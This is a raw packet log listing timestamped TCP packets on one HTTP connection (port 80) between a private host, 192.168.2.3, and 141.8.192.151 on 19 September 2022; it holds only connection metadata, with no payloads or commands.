Sep 19, 2022 22:38:00.836456060 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836468935 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836489916 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836527109 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896305084 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896336079 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896353006 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896370888 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896389008 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896414995 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896414995 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896421909 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896430016 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896486044 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896498919 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896522045 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896541119 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896543026 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896574974 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896590948 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896606922 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896694899 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896713018 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896732092 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896752119 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896770954 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896787882 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896805048 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896823883 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896830082 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896836042 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896855116 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.896872044 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.896903992 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897018909 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897026062 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897036076 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897056103 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897062063 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897099972 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897155046 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897193909 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897284031 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897301912 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897317886 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897322893 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897336006 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897341967 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897355080 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897360086 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897372007 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897381067 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897389889 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897403955 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897423983 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897474051 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897511959 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897617102 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897633076 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897653103 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897655964 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897675037 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897700071 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897705078 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897736073 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897741079 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897754908 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897772074 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897773027 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897794962 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897814035 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897819996 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897831917 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.897851944 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.897866964 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.956749916 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956785917 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956803083 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956823111 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956834078 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.956841946 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956859112 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956864119 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.956877947 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956901073 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956942081 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.956962109 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956979990 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.956985950 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.956993103 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957009077 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957077980 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957146883 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957192898 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957214117 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957231045 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957248926 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957263947 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957321882 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957329035 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957340956 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957360029 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957376957 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957379103 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957401037 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957420111 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957428932 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957437992 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957498074 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957498074 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957530022 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957541943 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957604885 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957614899 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957679033 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957688093 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957709074 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957747936 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957752943 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957767010 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957786083 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957839012 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957879066 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957879066 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957902908 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957909107 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957922935 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.957937002 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957989931 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.957993031 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958045006 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958049059 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958065033 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958089113 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958101034 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958127975 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958159924 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958235979 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958255053 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958271027 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958281994 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958297014 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958312988 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958339930 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958353996 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958374977 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958409071 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958421946 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958431959 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958440065 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958467960 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958496094 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958564997 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958581924 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958597898 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958611965 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958616972 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958651066 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958714008 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958753109 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958780050 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958815098 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958823919 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958854914 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958893061 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958904028 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958910942 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958949089 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.958964109 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958988905 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.958995104 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959012032 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959044933 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959094048 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959095001 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959144115 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959207058 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959243059 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959253073 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959260941 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959279060 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959283113 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959310055 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959321022 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959338903 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959342003 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959359884 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959379911 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959393024 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959399939 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959417105 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959431887 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959433079 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959464073 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959471941 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959481955 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959497929 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959544897 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959614992 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959625959 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959644079 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959660053 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959681988 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959693909 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959762096 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959778070 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959794998 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959813118 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959822893 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959841967 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.959867001 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.959933996 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017117023 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017146111 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017162085 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017179966 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017195940 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017214060 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017256021 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017273903 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017277002 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017296076 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017316103 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017333031 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017349958 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017369032 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017371893 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017391920 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017442942 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017453909 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017465115 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017488956 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017496109 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017510891 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017518044 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017530918 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017548084 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017559052 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017569065 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017585993 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017620087 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017622948 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017643929 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017647028 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017666101 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017677069 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017688036 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017704964 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017710924 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017729044 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017738104 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017774105 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017790079 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017831087 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017860889 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017898083 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017905951 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017945051 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.017966986 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.017997026 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018007994 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018037081 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018062115 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018081903 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018102884 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018104076 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018125057 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018127918 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018147945 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018151045 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018171072 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018173933 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018196106 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018198013 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018218040 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018220901 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018239975 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018244982 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018270016 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018271923 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018282890 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018292904 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018306017 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018315077 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018336058 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018337011 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018349886 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018357038 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018372059 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018378973 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018390894 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018399954 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018415928 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018421888 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018443108 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018492937 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018507004 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018526077 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018543005 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018558979 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018575907 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018585920 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018596888 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018614054 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018630981 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018646955 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018666029 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018667936 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018701077 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018775940 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018790960 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018796921 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018816948 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018834114 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018846035 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018855095 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018872023 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018888950 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018899918 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018908024 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018925905 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018942118 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018958092 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.018984079 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.018992901 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019011021 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019026995 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019042969 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019061089 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019084930 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019085884 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:01.019104004 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:01.019135952 CEST	80	49709	141.8.192.151	192.168.2.3
